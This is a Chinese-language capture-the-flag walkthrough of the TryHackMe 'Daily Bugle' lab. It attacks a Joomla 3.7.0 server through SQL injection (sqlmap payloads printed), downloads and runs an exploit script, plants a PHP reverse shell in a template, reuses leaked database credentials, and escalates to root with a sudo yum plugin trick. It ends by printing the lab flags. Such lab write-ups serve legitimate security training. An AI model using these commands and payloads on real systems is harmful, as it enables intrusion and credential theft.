Daily Bugle — TryHackMe 实战指南(Joomla漏洞利用与权限提升)
介绍
TryHackMe平台的Daily Bugle房间将您带入一个围绕高调银行抢劫案的激动人心的红队场景。您的任务是调查并揭露罪魁祸首,同时应对各种Web和系统挑战。该房间结合了Joomla Web漏洞利用、SQL注入和Red Hat Linux权限提升,全面测试Web应用程序和服务器级黑客技能。对于希望在真实实践环境中磨练侦察、漏洞利用和权限提升技术的渗透测试人员来说,这是一个完美的练习。
初始侦察
我首先进行标准的端口和服务扫描以了解环境。
Nmap返回了三个开放端口:
- 22/tcp — SSH (OpenSSH 7.4)
- 80/tcp — HTTP (Apache/2.4.6, PHP 5.6.40) — Web服务器标识为Joomla!
- 3306/tcp — MySQL / MariaDB (未授权)
80端口开放,因此我导航到Web服务器查看暴露的内容。
问题:访问Web服务器,谁抢劫了银行?
答案:spiderman
Web枚举
接下来,我使用dirsearch运行目录暴力破解,以映射潜在的Joomla路径并定位管理面板。
1
|
dirsearch -u <ip> -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
|
输出亮点显示了多个Joomla相关目录,重要的是,还有一个管理员界面:
1
2
|
/images/, /media/, /templates/, /modules/, /plugins/, /includes/, /language/, /components/, /cache/, /libraries/, /tmp/, /layouts/, /cli/
/administrator/ — 发现Joomla管理面板
|
接下来让我们导航到管理面板。
查找Joomla版本
它确认该站点正在运行Joomla 3.7.0,这对于定位已知漏洞很有用。
问题:Joomla版本是什么?
答案:3.7.0
这是一个有用的数据点:已知较旧的Joomla 3.7.x安装存在多个漏洞,因此接下来我进行了漏洞研究。
漏洞研究 — SQL注入
已知的SQL注入(Exploit-DB 42033)通过list[fullordering]参数影响Joomla 3.7的com_fields组件。我使用sqlmap验证漏洞并枚举数据库:
1
2
|
sqlmap -u "http://10.201.99.224/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" \
--risk=3 --level=5 --random-agent --dbs -p list[fullordering]
|
输出:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
|
sqlmap identified the following injection point(s) with a total of 2547 HTTP(s) requests:
---
Parameter: list[fullordering] (GET)
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace (FLOOR)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 3813 FROM(SELECT COUNT(*),CONCAT(0x7162767671,(SELECT (ELT(3813=3813,1))),0x716b767a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)
Type: time-based blind
Title: MySQL >= 5.0.12 time-based blind - Parameter replace (substraction)
Payload: option=com_fields&view=fields&layout=modal&list[fullordering]=(SELECT 7977 FROM (SELECT(SLEEP(5)))ODsF)
---
[09:31:02] [INFO] the back-end DBMS is MySQL
[09:31:02] [CRITICAL] unable to connect to the target URL. sqlmap is going to retry the request(s)
back-end DBMS: MySQL >= 5.0 (MariaDB fork)
[09:31:03] [INFO] fetching database names
[09:31:03] [INFO] retrieved: 'information_schema'
[09:31:03] [INFO] retrieved: 'joomla'
[09:31:03] [INFO] retrieved: 'mysql'
[09:31:03] [INFO] retrieved: 'performance_schema'
[09:31:04] [INFO] retrieved: 'test'
available databases [5]:
[*] information_schema
[*] joomla
[*] mysql
[*] performance_schema
[*] test
[09:31:04] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 2507 times
[09:31:04] [INFO] fetched data logged to text files under '/root/.sqlmap/output/10.201.99.224'
[09:31:04] [WARNING] you haven't updated sqlmap for more than 1997 days!!!
[*] ending @ 09:31:04 /2025-09-21/
|
sqlmap确认参数存在漏洞并检索到以下数据库:
- information_schema
- joomla
- mysql
- performance_schema
- test
后端DBMS是MySQL(MariaDB分支)。出现了许多HTTP 500响应——这是基于错误的payload的典型情况——结果被记录以供进一步使用。
漏洞利用和管理员哈希提取
我找到了一个现有的Joomla漏洞利用并下载了它:
1
2
|
wget https://raw.githubusercontent.com/stefanlucas/Exploit-Joomla/master/joomblah.py
python joomblah.py http://10.201.99.224/
|
这揭示了Jonah的密码哈希:
$2y$10$0veO/JSFh4389Lluc4Xya.dfy2MF.bZhz0jVMw.V.d3p12kBtZutm
我使用John the Ripper和RockYou字典破解了它:
1
|
john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
|
问题:Jonah的破解密码是什么?
答案:spiderman123
获取访问权限 — Joomla管理员和反向Shell
我使用Jonah的凭据(jonah:spiderman123)通过/administrator目录登录到Joomla管理面板。
进入后,我导航到Extensions > Templates > Templates并选择了Beez3模板。
为了获得反向Shell,我克隆了PentestMonkey PHP反向Shell仓库:
1
2
|
git clone https://github.com/pentestmonkey/php-reverse-shell.git
cd php-reverse-shell
|
我在我的机器上启动了一个监听器:
然后我打开了Beez3模板中的index.php,将其内容替换为PHP反向Shell(配置了我的IP和端口),并保存。
浏览修改后的模板触发了反向Shell:
1
|
curl http://10.201.99.224/templates/beez3/index.php
|
我的监听器收到了连接:
1
2
3
|
~$ nc -lnvp 1234
Connection received on 10.201.99.224 43182
sh-4.2$
|
我现在以apache用户身份在服务器上。
后期利用
首先,我列出/home以查看存在哪些用户。唯一存在的用户是jjameson,但我没有权限访问他们的主目录,因此此时无法读取user.txt。
接下来,我检查了Web目录:
1
2
|
cd /var/www/html
cat configuration.php
|
Joomla configuration.php文件揭示了数据库凭据:
1
2
3
4
|
public $user = 'root';
public $password = 'nv5uz9r3ZEDzVjNu';
public $db = 'joomla';
public $dbprefix = 'fb9j5_';
|
捕获用户标志
有趣的是,数据库密码(nv5uz9r3ZEDzVjNu)也适用于用户jjameson。我通过SSH登录:
1
2
|
ssh jjameson@10.201.99.224
Password: nv5uz9r3ZEDzVjNu
|
进入后,我检索了用户标志:
1
2
|
cat user.txt
27a260fe3cba712cfdedb1c86d80442e
|
该机器是一个基于Red Hat的系统。
后期利用 — 权限提升
我检查了sudo权限:
输出显示jjameson可以在没有密码的情况下以root身份运行yum:
1
|
(ALL) NOPASSWD: /usr/bin/yum
|
我验证了操作系统版本:
1
2
|
cat /etc/redhat-release
CentOS Linux release 7.7.1908 (Core)
|
使用GTFOBins,我发现jjameson可以以NOPASSWD运行yum,这允许我提升权限。我将以下代码直接粘贴到终端中:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
TF=$(mktemp -d)
cat >$TF/x<<EOF
[main]
plugins=1
pluginpath=$TF
pluginconfpath=$TF
EOF
cat >$TF/y.conf<<EOF
[main]
enabled=1
EOF
cat >$TF/y.py<<EOF
import os
import yum
from yum.plugins import PluginYumExit, TYPE_CORE, TYPE_INTERACTIVE
requires_api_version='2.1'
def init_hook(conduit):
os.execl('/bin/sh','/bin/sh')
EOF
sudo yum -c $TF/x --enableplugin=y
|
这给了我一个root shell。
捕获Root标志
最后,我读取了root标志:
1
2
|
cat /root/root.txt
eec3d53292b1821868266858d7fa6f79
|
结论
TryHackMe上的Daily Bugle房间是一个具有挑战性的红队练习,测试了Web和系统漏洞利用技能。从Joomla漏洞和SQL注入到部署PHP反向Shell以及通过GTFOBins在Red Hat Linux上提升权限,我成功捕获了用户和root标志。该房间突出了全面枚举、漏洞研究和创造性权限提升的重要性——对于任何磨练渗透测试技能的人来说都是一个极好的挑战。